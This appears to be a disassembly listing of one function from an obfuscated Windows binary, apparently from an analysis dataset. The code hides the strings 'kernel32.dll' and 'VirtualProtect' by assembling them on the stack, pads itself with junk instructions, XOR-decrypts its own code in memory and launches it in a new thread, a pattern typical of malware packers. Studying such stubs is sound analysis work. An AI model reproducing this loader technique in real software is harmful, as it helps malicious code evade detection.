Function at 0x4fcf07
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor eax, 0x83333c15
xor eax, 0x83333c15
popfd
call fcn.004fd309
xchg edx, edx
nop
lea eax, [ebp - 0xd8]
push eax
push ecx
pop ecx
pop eax
mov ebx, 0x61
push ecx
pop ecx
mov eax, eax
add bx, 0xa
push ebx
push esi
pop esi
pop ebx
pushfd
inc eax
dec eax
popfd
mov word [eax], bx
pushfd
inc eax
dec eax
popfd
sub bx, 6
pushfd
xor ecx, 0xe968561f
xor ecx, 0xe968561f
popfd
mov word [eax + 2], bx
push eax
push ebx
pop ebx
pop eax
pushfd
inc ecx
dec ecx
popfd
add bx, 0xd
pushfd
push 0xf8d1cc4f
add esp, 4
popfd
mov word [eax + 4], bx
pushfd
xor edi, 0xfd72abde
xor edi, 0xfd72abde
popfd
sub bx, 4
xchg edi, edx
xchg edx, edi
mov word [eax + 6], bx
mov edx, edx
sub bx, 9
xchg esi, esi
mov word [eax + 8], bx
mov ebx, ebx
pushfd
xor edx, 0x96908141
xor edx, 0x96908141
popfd
add bx, 7
mov edx, edx
push edx
push esi
pop esi
pop edx
mov word [eax + 0xa], bx
pushfd
push 0x85e3e518
add esp, 4
popfd
sub bx, 0x39
pushfd
push 0xc5b4ae1a
add esp, 4
popfd
mov word [eax + 0xc], bx
pushfd
inc edx
dec edx
popfd
dec bx
push esi
push ebx
pop ebx
pop esi
pushfd
push 0x354b75cc
add esp, 4
popfd
mov word [eax + 0xe], bx
pushfd
push 0x815ebed9
add esp, 4
popfd
push esi
push eax
pop eax
pop esi
sub bx, 4
pushfd
push 0x9ce86224
add esp, 4
popfd
mov word [eax + 0x10], bx
push edx
push edi
pop edi
pop edx
push edi
push esi
pop esi
pop edi
add bx, 0x36
pushfd
xor eax, 0xb57a2f39
xor eax, 0xb57a2f39
popfd
mov word [eax + 0x12], bx
pushfd
push 0x4b79f4b6
add esp, 4
popfd
add bx, 8
push edx
pop edx
mov word [eax + 0x14], bx
pushfd
push edx
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0x16], bx
pushfd
push 0xd7bf0077
add esp, 4
popfd
pushfd
xor ecx, 0x6265c03e
xor ecx, 0x6265c03e
popfd
mov word [eax + 0x18], 0
nop
pushfd
inc eax
dec eax
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0x26075d68
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov dword [ebp - 0x10], eax
xchg edi, edi
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0xd8]
pushfd
inc ebx
dec ebx
popfd
mov ebx, 0x61
push ebx
pop ebx
sub bl, 0xb
pushfd
inc eax
dec eax
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax], bl
pushfd
xor eax, 0x4f4c645d
xor eax, 0x4f4c645d
popfd
pushfd
xor ebx, 0x144c9591
xor ebx, 0x144c9591
popfd
add bl, 0x13
push esi
push edi
pop edi
pop esi
push edx
pop edx
mov byte [eax + 1], bl
pushfd
inc edx
dec edx
popfd
xchg edx, ebx
xchg ebx, edx
add bl, 9
push ebx
pop ebx
pushfd
push 0x6f0e39f9
add esp, 4
popfd
mov byte [eax + 2], bl
mov eax, eax
add bl, 2
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 3], bl
push ecx
push esi
pop esi
pop ecx
xchg esi, esi
inc bl
pushfd
xor esi, 0x8c5e2762
xor esi, 0x8c5e2762
popfd
mov byte [eax + 4], bl
push ebx
pop ebx
sub bl, 0x14
pushfd
push esi
add esp, 4
popfd
mov edx, edx
mov byte [eax + 5], bl
push ebx
push ecx
pop ecx
pop ebx
add bl, 0xb
mov esi, esi
pushfd
xor ebx, 0xdf6b0a09
xor ebx, 0xdf6b0a09
popfd
mov byte [eax + 6], bl
pushfd
inc esi
dec esi
popfd
push ecx
push edi
pop edi
pop ecx
sub bl, 0x1c
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 7], bl
pushfd
inc ecx
dec ecx
popfd
add bl, 0x22
mov ebx, ebx
mov byte [eax + 8], bl
pushfd
push edi
add esp, 4
popfd
pushfd
xor ecx, 0x2f38fe7e
xor ecx, 0x2f38fe7e
popfd
sub bl, 3
xchg edx, edx
mov byte [eax + 9], bl
xchg ecx, edx
xchg edx, ecx
add bl, 5
push eax
pop eax
mov byte [eax + 0xa], bl
xchg esi, esi
pushfd
push 0xa967fd84
add esp, 4
popfd
sub bl, 0xf
xchg edi, edi
mov byte [eax + 0xb], bl
pushfd
xor edi, 0x97b9bc86
xor edi, 0x97b9bc86
popfd
pushfd
push ebx
add esp, 4
popfd
sub bl, 2
pushfd
push edx
add esp, 4
popfd
mov ebx, ebx
mov byte [eax + 0xc], bl
xchg edi, edx
xchg edx, edi
pushfd
inc ecx
dec ecx
popfd
add bl, 0x11
push eax
push edx
pop edx
pop eax
mov byte [eax + 0xd], bl
pushfd
push 0x387d290c
add esp, 4
popfd
mov byte [eax + 0xe], 0
pushfd
inc edx
dec edx
popfd
pushfd
push 0x767a218c
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov ecx, ecx
push esi
pop esi
mov dword [ebp - 0xc], eax
push edi
pop edi
lea eax, [ebp - 8]
pushfd
push ecx
add esp, 4
popfd
push eax
push 4
push 0x7df7b
push entry0
call dword [ebp - 0xc]
pushfd
inc ebx
dec ebx
popfd
mov edi, entry0
pushfd
xor edx, 0x6e69b17f
xor edx, 0x6e69b17f
popfd
xchg edi, edi
mov esi, 0x40100e
pushfd
push 0xb7c858fe
add esp, 4
popfd
push ebx
pop ebx
mov ecx, 0x7df7b
push ecx
pop ecx
mov edx, 0xa9e382ce
pushfd
xor eax, 0xad1bef35
xor eax, 0xad1bef35
popfd
mov ebx, 0x43065de7
push ecx
pop ecx
pushfd
xor edx, 0xc69c776
xor edx, 0xc69c776
popfd
cld
xchg esi, esi
lodsb al, byte [esi]
mov ecx, ecx
xor al, dl
mov esi, esi
stosb byte es:[edi], al
xchg esi, esi
ror edx, 5
xchg edi, edi
imul edx, edx, 7
mov esi, esi
test ebx, 1
xchg ebx, ebx
je 0x4fd297
mov edi, edi
add esi, 2
xchg edi, edi
ror ebx, 1
mov ecx, ecx
dec ecx
mov edx, edx
test ecx, ecx
xchg esi, esi
jne 0x4fd270
xchg ecx, ecx
push edx
pop edx
lea eax, [ebp - 8]
pushfd
inc ecx
dec ecx
popfd
push eax
push 0x20
push 0x7df7b
push entry0
call dword [ebp - 0xc]
xchg ebx, edi
xchg edi, ebx
lea eax, [ebp - 4]
push eax
pop eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0x2ba57466
add esp, 4
popfd
mov esi, esi
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push eax
pop eax
jmp 0x4fd2e6